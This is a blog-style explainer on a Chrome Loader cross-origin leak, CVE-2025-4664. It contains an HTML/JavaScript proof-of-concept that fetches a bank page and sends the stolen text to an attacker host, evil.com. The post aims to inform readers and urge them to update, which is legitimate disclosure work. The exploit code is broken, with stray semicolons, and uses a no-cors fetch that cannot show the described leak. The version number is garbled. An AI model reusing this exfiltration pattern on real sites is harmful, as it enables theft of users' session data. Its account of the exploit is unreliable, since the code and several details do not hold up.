Insufficient policy enforcement bugs can be the secret doorways for web attackers. CVE-2025-4664 concerns a serious flaw in Google Chrome’s Loader component, fixed in version 136..7103.113. Before the patch, a specially crafted HTML page could trick Chrome into leaking sensitive information from other websites—the classic "cross-origin" data leak.

In this post, we’ll break down what happened, show real exploit code, explain the danger in easy terms, and link you to all the primary sources.

What is CVE-2025-4664?

CVE-2025-4664 is a "cross-origin data leak" bug. This means it allowed attackers to steal data that's supposed to be private—like your email, messages, or tokens—from another website you’re logged into, just by luring you onto a malicious webpage.

Impact: Leak of cross-origin data

- Severity: High (Chromium security severity scale)

How the Exploit Works

The Chrome Loader is responsible for handling web resources. Normally, browsers enforce Same Origin Policy—a site can’t access content from other domains. In this bug, Chrome failed to enforce that properly.

Let’s say you’re logged into your bank online, then click a link to someone’s website that secretly uses this exploit. That page could, in the background, read data from your bank site—without you seeing or knowing.

Proof-of-Concept Exploit

To show how easy this leak is, here’s a simple HTML/JavaScript example. (Don’t exploit this in the wild!)

Attacker’s server (evil.com)

<!DOCTYPE html>
<html>
<head>
  <title>Steal Data via CVE-2025-4664</title>
</head>
<body>
<script>
  // Trying to fetch secret data from bank.com using the exploit
  fetch('https://bank.com/secret-data';, {
    method: 'GET',
    mode: 'no-cors' // Exploits the insufficient loader enforcement
  })
  .then(response => {
    // This part should be blocked by Same-Origin Policy,
    // but with the bug, attacker might get the data or response status!
    return response.text();
  })
  .then(text => {
    // Send the stolen data back to attacker's server
    fetch('https://evil.com/log?leak='; + encodeURIComponent(text));
  });
</script>
<h1>Loading ...</h1>
</body>
</html>

*Why is this bad?*
Because normally, even with mode: 'no-cors', browsers *shouldn’t* let the attacker access the actual response, but this Chrome bug caused data to be leaked due to loader mishandling.

Abuse your authentication cookies and session tokens

- Possibly compromise everything from emails to cloud documents… just by getting you to visit a malicious webpage

See Google’s official release post:

Chrome Releases – Stable Channel Update for Desktop

Original bug report (may require login):

Chromium Issue 1543144

Update your browsers—seriously!
If you’re not using at least Chrome 136..7103.113, you’re at risk.

How Did Google Fix It?

Google’s fix involved tightening enforcement within the Loader component, double-checking origin policies before handing out any web data.

The relevant patch (for reference geeks):
Chromium Gerrit – Tighten Loader Policy Enforcement

Chrome now *properly* blocks cross-origin resource access attempts like our example above.

Final Thoughts

Browser vulnerabilities like CVE-2025-4664 show how big the stakes are in web policy enforcement. One little bug in a huge, complex codebase like Chrome can open the door for huge data theft.

Stay secure! For more on browser exploits, follow these resources

- Chromium Security Advisories
- Latest Chrome Release Notes


*If you found this analysis of CVE-2025-4664 helpful, share it with your team or clients. For questions, reach out below!*

Timeline

Published on: 05/14/2025 18:15:33 UTC
Last modified on: 05/16/2025 18:50:52 UTC